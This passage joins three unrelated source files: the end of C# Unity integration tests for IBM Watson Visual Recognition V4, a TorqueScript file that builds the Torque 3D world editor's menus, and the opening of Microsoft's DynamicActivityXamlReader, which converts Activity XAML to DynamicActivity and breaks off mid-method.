Train..."); Collection collection = null; service.Train( callback: (DetailedResponse<Collection> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Train result: {0}", response.Response); collection = response.Result; Assert.IsNotNull(collection); Assert.IsTrue(collection.TrainingStatus.Objects.InProgress == true); Assert.IsNull(error); }, collectionId: collectionId ); while (collection == null) yield return null; } [UnityTest, Order(12)] public IEnumerator TestGetTrainingUsage() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to Train..."); var startTime = "2019-11-18"; var endTime = "2020-11-20"; var dateStartTime = DateTime.Parse(startTime); var dateEndTime = DateTime.Parse(endTime); TrainingEvents trainingEvents = null; service.GetTrainingUsage( callback: (DetailedResponse<TrainingEvents> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "GetTrainingUsage result: {0}", response.Response); trainingEvents = response.Result; Assert.IsNotNull(trainingEvents); Assert.IsNotNull(trainingEvents.Events); Assert.IsTrue(trainingEvents.Events.Count > 0); Assert.IsNull(error); }, startTime: dateStartTime, endTime: dateEndTime ); while (trainingEvents == null) yield return null; } [UnityTest, Order(13)] public IEnumerator TestListObjectMetadata() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to List ObjectMetadata..."); ObjectMetadataList objectList = null; service.ListObjectMetadata( callback: (DetailedResponse<ObjectMetadataList> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "ListObjectMetadata result: {0}", response.Response); objectList = response.Result; Assert.IsNotNull(objectList.Objects); Assert.IsTrue(objectList.Objects.Count > 0); Assert.IsNull(error); }, collectionId: giraffeCollectionId ); while (objectList == null) yield return null; } [UnityTest, Order(13)] public IEnumerator TestGetObjectMetadata() { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "Attempting to Get ObjectMetadata..."); ObjectMetadata objectMetadata = null; service.GetObjectMetadata( callback: (DetailedResponse<ObjectMetadata> response, IBMError error) => { Log.Debug("VisualRecognitionServiceV4IntegrationTests", "GetObjectMetadata result: {0}", response.Response); objectMetadata = response.Result; Assert.IsNotNull(objectMetadata._Object); Assert.IsTrue(objectMetadata.Count > 0); Assert.IsNull(error); }, collectionId: giraffeCollectionId, _object: "giraffe" ); while (objectMetadata == null) yield return null; } #endregion } }
//----------------------------------------------------------------------------- // Copyright (c) 2012 GarageGames, LLC // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to // deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or // sell copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS // IN THE SOFTWARE. //----------------------------------------------------------------------------- function EditorGui::buildMenus(%this) { if(isObject(%this.menuBar)) return; //set up %cmdctrl variable so that it matches OS standards if( $platform $= "macos" ) { %cmdCtrl = "Cmd"; %menuCmdCtrl = "Cmd"; %quitShortcut = "Cmd Q"; %redoShortcut = "Cmd-Shift Z"; } else { %cmdCtrl = "Ctrl"; %menuCmdCtrl = "Alt"; %quitShortcut = "Alt F4"; %redoShortcut = "Ctrl Y"; } // Sub menus (temporary, until MenuBuilder gets updated) // The speed increments located here are overwritten in EditorCameraSpeedMenu::setupDefaultState. // The new min/max for the editor camera speed range can be set in each level's levelInfo object. if(!isObject(EditorCameraSpeedOptions)) { %this.cameraSpeedMenu = new PopupMenu(EditorCameraSpeedOptions) { superClass = "MenuBuilder"; class = "EditorCameraSpeedMenu"; item[0] = "Slowest" TAB %cmdCtrl @ "-Shift 1" TAB "5"; item[1] = "Slow" TAB %cmdCtrl @ "-Shift 2" TAB "35"; item[2] = "Slower" TAB %cmdCtrl @ "-Shift 3" TAB "70"; item[3] = "Normal" TAB %cmdCtrl @ "-Shift 4" TAB "100"; item[4] = "Faster" TAB %cmdCtrl @ "-Shift 5" TAB "130"; item[5] = "Fast" TAB %cmdCtrl @ "-Shift 6" TAB "165"; item[6] = "Fastest" TAB %cmdCtrl @ "-Shift 7" TAB "200"; }; } if(!isObject(EditorFreeCameraTypeOptions)) { %this.freeCameraTypeMenu = new PopupMenu(EditorFreeCameraTypeOptions) { superClass = "MenuBuilder"; class = "EditorFreeCameraTypeMenu"; item[0] = "Standard" TAB "Ctrl 1" TAB "EditorGuiStatusBar.setCamera(\"Standard Camera\");"; item[1] = "Orbit Camera" TAB "Ctrl 2" TAB "EditorGuiStatusBar.setCamera(\"Orbit Camera\");"; Item[2] = "-"; item[3] = "Smoothed" TAB "" TAB "EditorGuiStatusBar.setCamera(\"Smooth Camera\");"; item[4] = "Smoothed Rotate" TAB "" TAB "EditorGuiStatusBar.setCamera(\"Smooth Rot Camera\");"; }; } if(!isObject(EditorPlayerCameraTypeOptions)) { %this.playerCameraTypeMenu = new PopupMenu(EditorPlayerCameraTypeOptions) { superClass = "MenuBuilder"; class = "EditorPlayerCameraTypeMenu"; Item[0] = "First Person" TAB "" TAB "EditorGuiStatusBar.setCamera(\"1st Person Camera\");"; Item[1] = "Third Person" TAB "" TAB "EditorGuiStatusBar.setCamera(\"3rd Person Camera\");"; }; } if(!isObject(EditorCameraBookmarks)) { %this.cameraBookmarksMenu = new PopupMenu(EditorCameraBookmarks) { superClass = "MenuBuilder"; class = "EditorCameraBookmarksMenu"; //item[0] = "None"; }; } %this.viewTypeMenu = new PopupMenu() { superClass = "MenuBuilder"; item[ 0 ] = "Top" TAB "Alt 2" TAB "EditorGuiStatusBar.setCamera(\"Top View\");"; item[ 1 ] = "Bottom" TAB "Alt 5" TAB "EditorGuiStatusBar.setCamera(\"Bottom View\");"; item[ 2 ] = "Front" TAB "Alt 3" TAB "EditorGuiStatusBar.setCamera(\"Front View\");"; item[ 3 ] = "Back" TAB "Alt 6" TAB "EditorGuiStatusBar.setCamera(\"Back View\");"; item[ 4 ] = "Left" TAB "Alt 4" TAB "EditorGuiStatusBar.setCamera(\"Left View\");"; item[ 5 ] = "Right" TAB "Alt 7" TAB "EditorGuiStatusBar.setCamera(\"Right View\");"; item[ 6 ] = "Perspective" TAB "Alt 1" TAB "EditorGuiStatusBar.setCamera(\"Standard Camera\");"; item[ 7 ] = "Isometric" TAB "Alt 8" TAB "EditorGuiStatusBar.setCamera(\"Isometric View\");"; }; // Menu bar %this.menuBar = new GuiMenuBar(WorldEditorMenubar) { dynamicItemInsertPos = 3; extent = Canvas.extent.x SPC "20"; minExtent = "320 20"; horizSizing = "width"; profile = "GuiMenuBarProfile"; }; // File Menu %fileMenu = new PopupMenu() { superClass = "MenuBuilder"; class = "EditorFileMenu"; barTitle = "File"; }; %fileMenu.appendItem("New Level" TAB "" TAB "schedule( 1, 0, \"EditorNewLevel\" );"); %fileMenu.appendItem("Open Level..." TAB %cmdCtrl SPC "O" TAB "schedule( 1, 0, \"EditorOpenMission\" );"); %fileMenu.appendItem("Save Level" TAB %cmdCtrl SPC "S" TAB "EditorSaveMissionMenu();"); %fileMenu.appendItem("Save Level As..." TAB "" TAB "EditorSaveMissionAs();"); %fileMenu.appendItem("-"); if( $platform $= "windows" ) { %fileMenu.appendItem( "Open Project in Torsion" TAB "" TAB "EditorOpenTorsionProject();" ); %fileMenu.appendItem( "Open Level File in Torsion" TAB "" TAB "EditorOpenFileInTorsion();" ); %fileMenu.appendItem( "-" ); } %fileMenu.appendItem("Create Blank Terrain" TAB "" TAB "Canvas.pushDialog( CreateNewTerrainGui );"); %fileMenu.appendItem("Import Terrain Heightmap" TAB "" TAB "Canvas.pushDialog( TerrainImportGui );"); %fileMenu.appendItem("Export Terrain Heightmap" TAB "" TAB "Canvas.pushDialog( TerrainExportGui );"); %fileMenu.appendItem("-"); %fileMenu.appendItem("Export To COLLADA..." TAB "" TAB "EditorExportToCollada();"); //item[5] = "Import Terraform Data..." TAB "" TAB "Heightfield::import();"; //item[6] = "Import Texture Data..." TAB "" TAB "Texture::import();"; //item[7] = "-"; //item[8] = "Export Terraform Data..." TAB "" TAB "Heightfield::saveBitmap(\"\");"; %fileMenu.appendItem( "-" ); %fileMenu.appendItem( "Add FMOD Designer Audio..." TAB "" TAB "AddFMODProjectDlg.show();" ); %fileMenu.appendItem("-"); %fileMenu.appendItem("Play Level" TAB "F11" TAB "Editor.close(\"PlayGui\");"); %fileMenu.appendItem("Exit Level" TAB "" TAB "EditorExitMission();"); %fileMenu.appendItem("Quit" TAB %quitShortcut TAB "EditorQuitGame();"); %this.menuBar.insert(%fileMenu); // Edit Menu %editMenu = new PopupMenu() { superClass = "MenuBuilder"; class = "EditorEditMenu"; internalName = "EditMenu"; barTitle = "Edit"; item[0] = "Undo" TAB %cmdCtrl SPC "Z" TAB "Editor.getUndoManager().undo();"; item[1] = "Redo" TAB %redoShortcut TAB "Editor.getUndoManager().redo();"; item[2] = "-"; item[3] = "Cut" TAB %cmdCtrl SPC "X" TAB "EditorMenuEditCut();"; item[4] = "Copy" TAB %cmdCtrl SPC "C" TAB "EditorMenuEditCopy();"; item[5] = "Paste" TAB %cmdCtrl SPC "V" TAB "EditorMenuEditPaste();"; item[6] = "Delete" TAB "Delete" TAB "EditorMenuEditDelete();"; item[7] = "-"; item[8] = "Deselect" TAB "X" TAB "EditorMenuEditDeselect();"; Item[9] = "Select..." TAB "" TAB "EditorGui.toggleObjectSelectionsWindow();"; item[10] = "-"; item[11] = "Audio Parameters..." TAB "" TAB "EditorGui.toggleSFXParametersWindow();"; item[12] = "Editor Settings..." TAB "" TAB "ESettingsWindow.ToggleVisibility();"; item[13] = "Snap Options..." TAB "" TAB "ESnapOptions.ToggleVisibility();"; item[14] = "-"; item[15] = "Game Options..." TAB "" TAB "Canvas.pushDialog(optionsDlg);"; item[16] = "PostEffect Manager" TAB "" TAB "Canvas.pushDialog(PostFXManager);"; }; %this.menuBar.insert(%editMenu); // View Menu %viewMenu = new PopupMenu() { superClass = "MenuBuilder"; class = "EditorViewMenu"; internalName = "viewMenu"; barTitle = "View"; item[ 0 ] = "Visibility Layers" TAB "Alt V" TAB "VisibilityDropdownToggle();"; item[ 1 ] = "Show Grid in Ortho Views" TAB %cmdCtrl @ "-Shift-Alt G" TAB "EditorGui.toggleOrthoGrid();"; }; %this.menuBar.insert(%viewMenu); // Camera Menu %cameraMenu = new PopupMenu() { superClass = "MenuBuilder"; class = "EditorCameraMenu"; barTitle = "Camera"; item[0] = "World Camera" TAB %this.freeCameraTypeMenu; item[1] = "Player Camera" TAB %this.playerCameraTypeMenu; item[2] = "-"; Item[3] = "Toggle Camera" TAB %menuCmdCtrl SPC "C" TAB "commandToServer('ToggleCamera');"; item[4] = "Place Camera at Selection" TAB "Ctrl Q" TAB "EWorldEditor.dropCameraToSelection();"; item[5] = "Place Camera at Player" TAB "Alt Q" TAB "commandToServer('dropCameraAtPlayer');"; item[6] = "Place Player at Camera" TAB "Alt W" TAB "commandToServer('DropPlayerAtCamera');"; item[7] = "-"; item[8] = "Fit View to Selection" TAB "F" TAB "commandToServer('EditorCameraAutoFit', EWorldEditor.getSelectionRadius()+1);"; item[9] = "Fit View To Selection and Orbit" TAB "Alt F" TAB "EditorGuiStatusBar.setCamera(\"Orbit Camera\"); commandToServer('EditorCameraAutoFit', EWorldEditor.getSelectionRadius()+1);"; item[10] = "-"; item[11] = "Speed" TAB %this.cameraSpeedMenu; item[12] = "View" TAB %this.viewTypeMenu; item[13] = "-"; Item[14] = "Add Bookmark..." TAB "Ctrl B" TAB "EditorGui.addCameraBookmarkByGui();"; Item[15] = "Manage Bookmarks..." TAB "Ctrl-Shift B" TAB "EditorGui.toggleCameraBookmarkWindow();"; item[16] = "Jump to Bookmark" TAB %this.cameraBookmarksMenu; }; %this.menuBar.insert(%cameraMenu); // Editors Menu %editorsMenu = new PopupMenu() { superClass = "MenuBuilder"; class = "EditorToolsMenu"; barTitle = "Editors"; //item[0] = "Object Editor" TAB "F1" TAB WorldEditorInspectorPlugin; //item[1] = "Material Editor" TAB "F2" TAB MaterialEditorPlugin; //item[2] = "-"; //item[3] = "Terrain Editor" TAB "F3" TAB TerrainEditorPlugin; //item[4] = "Terrain Painter" TAB "F4" TAB TerrainPainterPlugin; //item[5] = "-"; }; %this.menuBar.insert(%editorsMenu); //if we're just refreshing the menus, we probably have a list of editors we want added to the Editors menu there, so check and if so, add them now if(isObject(EditorsMenuList)) { %editorsListCount = EditorsMenuList.count(); for(%e = 0; %e < %editorsListCount; %e++) { %menuEntry = EditorsMenuList.getKey(%e); %editorsMenu.addItem(%e, %menuEntry); } } if(isObject(PhysicsEditorPlugin)) { %physicsToolsMenu = new PopupMenu() { superClass = "MenuBuilder"; //class = "PhysXToolsMenu"; barTitle = "Physics"; item[0] = "Start Simulation" TAB "Ctrl-Alt P" TAB "physicsStartSimulation( \"client\" );physicsStartSimulation( \"server\" );"; //item[1] = "Stop Simulation" TAB "" TAB "physicsSetTimeScale( 0 );"; item[1] = "-"; item[2] = "Speed 25%" TAB "" TAB "physicsSetTimeScale( 0.25 );"; item[3] = "Speed 50%" TAB "" TAB "physicsSetTimeScale( 0.5 );"; item[4] = "Speed 100%" TAB "" TAB "physicsSetTimeScale( 1.0 );"; item[5] = "-"; item[6] = "Reload NXBs" TAB "" TAB ""; }; // Add our menu. %this.menuBar.insert( %physicsToolsMenu, EditorGui.menuBar.dynamicItemInsertPos ); } // Lighting Menu %lightingMenu = new PopupMenu() { superClass = "MenuBuilder"; class = "EditorLightingMenu"; barTitle = "Lighting"; item[0] = "Full Relight" TAB "Alt L" TAB "Editor.lightScene(\"\", forceAlways);"; item[1] = "Toggle ShadowViz" TAB "" TAB "toggleShadowViz();"; item[2] = "-"; // NOTE: The light managers will be inserted as the // last menu items in EditorLightingMenu::onAdd(). }; %this.menuBar.insert(%lightingMenu); // Tools Menu %toolsMenu = new PopupMenu() { superClass = "MenuBuilder"; class = "EditorUtilitiesMenu"; barTitle = "Tools"; item[0] = "Network Graph" TAB "n" TAB "toggleNetGraph();"; item[1] = "Profiler" TAB "ctrl F2" TAB "showMetrics(true);"; item[2] = "Torque SimView" TAB "" TAB "tree();"; item[3] = "Make Selected a Mesh" TAB "" TAB "makeSelectedAMesh();"; }; %this.menuBar.insert(%toolsMenu); // Help Menu %helpMenu = new PopupMenu() { superClass = "MenuBuilder"; class = "EditorHelpMenu"; barTitle = "Help"; item[0] = "Online Documentation..." TAB "Alt F1" TAB "gotoWebPage(EWorldEditor.documentationURL);"; item[1] = "Offline User Guide..." TAB "" TAB "gotoWebPage(EWorldEditor.documentationLocal);"; item[2] = "Offline Reference Guide..." TAB "" TAB "shellexecute(EWorldEditor.documentationReference);"; item[3] = "Torque 3D Forums..." TAB "" TAB "gotoWebPage(EWorldEditor.forumURL);"; }; %this.menuBar.insert(%helpMenu); // Menus that are added/removed dynamically (temporary) // World Menu if(! isObject(%this.worldMenu)) { %this.dropTypeMenu = new PopupMenu() { superClass = "MenuBuilder"; class = "EditorDropTypeMenu"; // The onSelectItem() callback for this menu re-purposes the command field // as the MenuBuilder version is not used. item[0] = "at Origin" TAB "" TAB "atOrigin"; item[1] = "at Camera" TAB "" TAB "atCamera"; item[2] = "at Camera w/Rotation" TAB "" TAB "atCameraRot"; item[3] = "Below Camera" TAB "" TAB "belowCamera"; item[4] = "Screen Center" TAB "" TAB "screenCenter"; item[5] = "at Centroid" TAB "" TAB "atCentroid"; item[6] = "to Terrain" TAB "" TAB "toTerrain"; item[7] = "Below Selection" TAB "" TAB "belowSelection"; item[8] = "At Gizmo" TAB "" TAB "atGizmo"; }; %this.alignBoundsMenu = new PopupMenu() { superClass = "MenuBuilder"; class = "EditorAlignBoundsMenu"; // The onSelectItem() callback for this menu re-purposes the command field // as the MenuBuilder version is not used. item[0] = "+X Axis" TAB "" TAB "0"; item[1] = "+Y Axis" TAB "" TAB "1"; item[2] = "+Z Axis" TAB "" TAB "2"; item[3] = "-X Axis" TAB "" TAB "3"; item[4] = "-Y Axis" TAB "" TAB "4"; item[5] = "-Z Axis" TAB "" TAB "5"; }; %this.alignCenterMenu = new PopupMenu() { superClass = "MenuBuilder"; class = "EditorAlignCenterMenu"; // The onSelectItem() callback for this menu re-purposes the command field // as the MenuBuilder version is not used. item[0] = "X Axis" TAB "" TAB "0"; item[1] = "Y Axis" TAB "" TAB "1"; item[2] = "Z Axis" TAB "" TAB "2"; }; %this.worldMenu = new PopupMenu() { superClass = "MenuBuilder"; class = "EditorWorldMenu"; barTitle = "Object"; item[0] = "Lock Selection" TAB %cmdCtrl @ " L" TAB "EWorldEditor.lockSelection(true); EWorldEditor.syncGui();"; item[1] = "Unlock Selection" TAB %cmdCtrl @ "-Shift L" TAB "EWorldEditor.lockSelection(false); EWorldEditor.syncGui();"; item[2] = "-"; item[3] = "Hide Selection" TAB %cmdCtrl @ " H" TAB "EWorldEditor.hideSelection(true); EWorldEditor.syncGui();"; item[4] = "Show Selection" TAB %cmdCtrl @ "-Shift H" TAB "EWorldEditor.hideSelection(false); EWorldEditor.syncGui();"; item[5] = "-"; item[6] = "Align Bounds" TAB %this.alignBoundsMenu; item[7] = "Align Center" TAB %this.alignCenterMenu; item[8] = "-"; item[9] = "Reset Transforms" TAB "Ctrl R" TAB "EWorldEditor.resetTransforms();"; item[10] = "Reset Selected Rotation" TAB "" TAB "EWorldEditor.resetSelectedRotation();"; item[11] = "Reset Selected Scale" TAB "" TAB "EWorldEditor.resetSelectedScale();"; item[12] = "Transform Selection..." TAB "Ctrl T" TAB "ETransformSelection.ToggleVisibility();"; item[13] = "-"; //item[13] = "Drop Camera to Selection" TAB "Ctrl Q" TAB "EWorldEditor.dropCameraToSelection();"; //item[14] = "Add Selection to Instant Group" TAB "" TAB "EWorldEditor.addSelectionToAddGroup();"; item[14] = "Drop Selection" TAB "Ctrl D" TAB "EWorldEditor.dropSelection();"; //item[15] = "-"; item[15] = "Drop Location" TAB %this.dropTypeMenu; Item[16] = "-"; Item[17] = "Make Selection Prefab" TAB "" TAB "EditorMakePrefab();"; Item[18] = "Explode Selected Prefab" TAB "" TAB "EditorExplodePrefab();"; Item[19] = "-"; Item[20] = "Mount Selection A to B" TAB "" TAB "EditorMount();"; Item[21] = "Unmount Selected Object" TAB "" TAB "EditorUnmount();"; }; } } ////////////////////////////////////////////////////////////////////////// function WorldEditorMenubar::onResize(%this) { %this.extent.x = Canvas.extent.x; } function EditorGui::attachMenus(%this) { %this.menuBar.attachToCanvas(Canvas, 0); } function EditorGui::detachMenus(%this) { %this.menuBar.removeFromCanvas(); } function EditorGui::setMenuDefaultState(%this) { if(! isObject(%this.menuBar)) return 0; for(%i = 0;%i < %this.menuBar.getMenuCount();%i++) { %menu = %this.menuBar.getMenu(%i); %menu.setupDefaultState(); } %this.worldMenu.setupDefaultState(); } ////////////////////////////////////////////////////////////////////////// function EditorGui::findMenu(%this, %name) { if(! isObject(%this.menuBar)) return 0; for(%i = 0; %i < %this.menuBar.getMenuCount(); %i++) { %menu = %this.menuBar.getMenu(%i); if(%name $= %menu.barTitle) return %menu; } return 0; }
//---------------------------------------------------------------- // Copyright (c) Microsoft Corporation. All rights reserved. //---------------------------------------------------------------- namespace System.Activities.XamlIntegration { using System; using System.Collections.Generic; using System.Runtime; using System.Xaml; using System.Xaml.Schema; // This Xaml Reader converts an <Activity x:Class=Foo to <DynamicActivity Name=Foo // it does the folowing // Rewrites any record of type "Activity" to "DynamicActivity" // Rewrites any member of type "Activity" to member "DynamicActivity" // Rewrites x:Class to DynamicActivity.Name // Recognizes DynamicActivity<T>. // // This Xaml Reader also supports ActivityBuilder, which has the same basic node structure class DynamicActivityXamlReader : XamlReader, IXamlLineInfo { internal static readonly XamlMember xPropertyType = XamlLanguage.Property.GetMember("Type"); internal static readonly XamlMember xPropertyName = XamlLanguage.Property.GetMember("Name"); internal static readonly XamlMember xPropertyAttributes = XamlLanguage.Property.GetMember("Attributes"); // These may be a closed generic types in the Activity<T> case, so we compute them dynamically XamlType activityReplacementXamlType; XamlType activityXamlType; readonly XamlType baseActivityXamlType; readonly XamlType activityPropertyXamlType; readonly XamlType xamlTypeXamlType; readonly XamlType typeXamlType; readonly XamlMember activityPropertyType; readonly XamlMember activityPropertyName; readonly XamlMember activityPropertyAttributes; readonly XamlMember activityPropertyValue; readonly XamlReader innerReader; readonly NamespaceTable namespaceTable; const string clrNamespacePart = "clr-namespace:"; int depth; bool notRewriting; int inXClassDepth; XamlTypeName xClassName; IXamlLineInfo nodeReaderLineInfo; IXamlLineInfo innerReaderLineInfo; bool frontLoadedDirectives; XamlSchemaContext schemaContext; bool isBuilder; bool hasLineInfo; // we pull off of the innerReader and into this nodeList, where we use its reader XamlNodeQueue nodeQueue; XamlReader nodeReader; // Properties are tricky since they support default values, and those values // can appear anywhere in the XAML document. So we need to buffer their XAML // nodes and present them only at the end of the document (right before the // document end tag), when we have both the declaration and the value realized. BufferedPropertyList bufferedProperties; // in the ActivityBuilder case we need to jump through some extra hoops to // support PropertyReferenceExtension, since in the ActivityBuilder case // Implementation isn't a template (Func<Activity>), so we need to map // such members into attached properties on their parent object BuilderStack builderStack; public DynamicActivityXamlReader(XamlReader innerReader) : this(innerReader, null) { } public DynamicActivityXamlReader(XamlReader innerReader, XamlSchemaContext schemaContext) : this(false, innerReader, schemaContext) { } public DynamicActivityXamlReader(bool isBuilder, XamlReader innerReader, XamlSchemaContext schemaContext) : base() { this.isBuilder = isBuilder; this.innerReader = innerReader; this.schemaContext = schemaContext ?? innerReader.SchemaContext; this.xamlTypeXamlType = this.schemaContext.GetXamlType(typeof(XamlType)); this.typeXamlType = this.schemaContext.GetXamlType(typeof(Type)); this.baseActivityXamlType = this.schemaContext.GetXamlType(typeof(Activity)); this.activityPropertyXamlType = this.schemaContext.GetXamlType(typeof(DynamicActivityProperty)); this.activityPropertyType = this.activityPropertyXamlType.GetMember("Type"); this.activityPropertyName = this.activityPropertyXamlType.GetMember("Name"); this.activityPropertyValue = this.activityPropertyXamlType.GetMember("Value"); this.activityPropertyAttributes = this.activityPropertyXamlType.GetMember("Attributes"); this.namespaceTable = new NamespaceTable(); this.frontLoadedDirectives = true; // we pump items through this node-list when rewriting this.nodeQueue = new XamlNodeQueue(this.schemaContext); this.nodeReader = this.nodeQueue.Reader; IXamlLineInfo lineInfo = innerReader as IXamlLineInfo; if (lineInfo != null && lineInfo.HasLineInfo) { this.innerReaderLineInfo = lineInfo; this.nodeReaderLineInfo = (IXamlLineInfo)nodeQueue.Reader; this.hasLineInfo = true; } } public override XamlType Type { get { return this.nodeReader.Type; } } public override NamespaceDeclaration Namespace { get { return this.nodeReader.Namespace; } } public override object Value { get { return this.nodeReader.Value; } } public override bool IsEof { get { return this.nodeReader.IsEof; } } public override XamlMember Member { get { return this.nodeReader.Member; } } public override XamlSchemaContext SchemaContext { get { return this.schemaContext; } } public override XamlNodeType NodeType { get { return this.nodeReader.NodeType; } } public bool HasLineInfo { get { return this.hasLineInfo; } } public int LineNumber { get { if (this.hasLineInfo) { return this.nodeReaderLineInfo.LineNumber; } else { return 0; } } } public int LinePosition { get { if (this.hasLineInfo) { return this.nodeReaderLineInfo.LinePosition; } else { return 0; } } } protected override void Dispose(bool disposing) { try { if (disposing) { this.innerReader.Close(); } } finally { base.Dispose(disposing); } } static XamlException CreateXamlException(string message, IXamlLineInfo lineInfo) { if (lineInfo != null && lineInfo.HasLineInfo) { return new XamlException(message, null, lineInfo.LineNumber, lineInfo.LinePosition); } else { return new XamlException(message); } } // perf optimization to efficiently support non-Activity types void DisableRewrite() { this.notRewriting = true; this.nodeReader = this.innerReader; this.nodeReaderLineInfo = this.innerReader as IXamlLineInfo; } public override bool Read() { if (this.notRewriting) { Fx.Assert(object.ReferenceEquals(this.innerReader, this.nodeReader), "readers must match at this point"); return this.nodeReader.Read(); } // for properties, we'll store nodes "on the side" bool innerReaderResult = this.innerReader.Read(); bool continueProcessing = true; while (continueProcessing && !this.innerReader.IsEof) { // ProcessCurrentNode will only return true if it has advanced the innerReader continueProcessing = ProcessCurrentNode(); } // rewriting may have been disabled under ProcessCurrentNode if (this.notRewriting) { return innerReaderResult; } else { // now that we've mapped the innerReader into (at least) one node entry, pump that reader as well return this.nodeReader.Read(); } } // pull on our inner reader, map the results as necessary, and pump // mapped results into the streaming node reader that we're offering up. // return true if we need to keep pumping (because we've buffered some nodes on the side) bool ProcessCurrentNode() { bool processedNode = false; this.namespaceTable.ManageNamespace(this.innerReader); switch (this.innerReader.NodeType) { case XamlNodeType.StartMember: XamlMember currentMember = this.innerReader.Member; // find out if the member is a default value for one of // our declared properties. If it is, then we have a complex case // where we need to: // 1) read the nodes into a side list // 2) interleave these nodes with the DynamicActivityProperty nodes // since they need to appear as DynamicActivityProperty.Value // 3) right before we hit the last node, we'll dump the side node-lists // reflecting a zipped up representation of the Properties if (IsXClassName(currentMember.DeclaringType)) { if (this.bufferedProperties == null) { this.bufferedProperties = new BufferedPropertyList(this); } this.bufferedProperties.BufferDefaultValue(currentMember.Name, this.activityPropertyValue, this.innerReader, this.innerReaderLineInfo); return true; // output cursor didn't move forward } else if (this.frontLoadedDirectives && currentMember == XamlLanguage.FactoryMethod) { DisableRewrite(); return false; } else { this.depth++; if (this.depth == 2) { if (currentMember.DeclaringType == this.activityXamlType || currentMember.DeclaringType == this.baseActivityXamlType) { // Rewrite "<Activity.XXX>" to "<DynamicActivity.XXX>" XamlMember member = this.activityReplacementXamlType.GetMember(currentMember.Name); if (member == null) { throw FxTrace.Exception.AsError(CreateXamlException(SR.MemberNotSupportedByActivityXamlServices(currentMember.Name), this.innerReaderLineInfo)); } this.nodeQueue.Writer.WriteStartMember(member, this.innerReaderLineInfo); if (member.Name == "Constraints") { WriteWrappedMember(true); processedNode = true; return true; } processedNode = true; // if we're in ActivityBuilder.Implementation, start buffering nodes if (this.isBuilder && member.Name == "Implementation") { this.builderStack = new BuilderStack(this); } } else if (currentMember == XamlLanguage.Class) { this.inXClassDepth = this.depth; // Rewrite x:Class to DynamicActivity.Name this.nodeQueue.Writer.WriteStartMember(this.activityReplacementXamlType.GetMember("Name"), this.innerReaderLineInfo); processedNode = true; } else if (currentMember == XamlLanguage.Members) { // Rewrite "<x:Members>" to "<DynamicActivity.Properties>" if (this.bufferedProperties == null) { this.bufferedProperties = new BufferedPropertyList(this); } this.bufferedProperties.BufferDefinitions(this); this.depth--; return true; // output cursor didn't move forward } else if (currentMember == XamlLanguage.ClassAttributes) { // Rewrite x:ClassAttributes to DynamicActivity.Attributes this.nodeQueue.Writer.WriteStartMember(this.activityReplacementXamlType.GetMember("Attributes"), this.innerReaderLineInfo); // x:ClassAttributes directive has no following GetObject, but Attributes does since it's not a directive WriteWrappedMember(false); processedNode = true; return true; } } } break; case XamlNodeType.StartObject: { EnterObject(); if (this.depth == 1) { // see if we're deserializing an Activity if (this.innerReader.Type.UnderlyingType == typeof(Activity)) { // Rewrite "<Activity>" to "<DynamicActivity>" this.activityXamlType = this.innerReader.Type; if (this.isBuilder) { this.activityReplacementXamlType = SchemaContext.GetXamlType(typeof(ActivityBuilder)); } else { this.activityReplacementXamlType = SchemaContext.GetXamlType(typeof(DynamicActivity)); } } // or an Activity<TResult> else if (this.innerReader.Type.IsGeneric && this.innerReader.Type.UnderlyingType != null && this.innerReader.Type.UnderlyingType.GetGenericTypeDefinition() == typeof(Activity<>)) { // Rewrite "<Activity typeArgument=T>" to "<DynamicActivity typeArgument=T>" this.activityXamlType = this.innerReader.Type; Type activityType = this.innerReader.Type.TypeArguments[0].UnderlyingType; Type activityReplacementGenericType; if (this.isBuilder) { activityReplacementGenericType = typeof(ActivityBuilder<>).MakeGenericType(activityType); } else { activityReplacementGenericType = typeof(DynamicActivity<>).MakeGenericType(activityType); } this.activityReplacementXamlType = SchemaContext.GetXamlType(activityReplacementGenericType); } // otherwise disable rewriting so that we're a pass through else { DisableRewrite(); return false; } this.nodeQueue.Writer.WriteStartObject(this.activityReplacementXamlType, this.innerReaderLineInfo); processedNode = true; } } break; case XamlNodeType.GetObject: EnterObject(); break; case XamlNodeType.EndObject: case XamlNodeType.EndMember: ExitObject(); break; case XamlNodeType.Value: if (this.inXClassDepth >= this.depth && this.xClassName == null) { string fullName = (string)this.innerReader.Value; string xClassNamespace = ""; string xClassName = fullName; int nameStartIndex = fullName.LastIndexOf('.'); if (nameStartIndex > 0) { xClassNamespace = fullName.Substring(0, nameStartIndex); xClassName = fullName.Substring(nameStartIndex + 1); } this.xClassName = new XamlTypeName(xClassNamespace, xClassName); } break; } if (!processedNode) { if (this.builderStack != null) { bool writeNode = true; this.builderStack.ProcessNode(this.innerReader, this.innerReaderLineInfo, this.nodeQueue.Writer, out writeNode); if (!writeNode) { this.innerReader.Read(); return true; } } this.nodeQueue.Writer.WriteNode(this.innerReader, this.innerReaderLineInfo); } return false; } // used for a number of cases when wrapping we need to add a GetObject/StartMember(_Items) since XAML directives intrinsically // take care of it void WriteWrappedMember(bool stripWhitespace) { this.nodeQueue.Writer.WriteGetObject(this.innerReaderLineInfo); this.nodeQueue.Writer.WriteStartMember(XamlLanguage.Items, this.innerReaderLineInfo); XamlReader subReader = this.innerReader.ReadSubtree(); // 1) Read past the start member since we wrote it above subReader.Read(); // 2) copy over the rest of 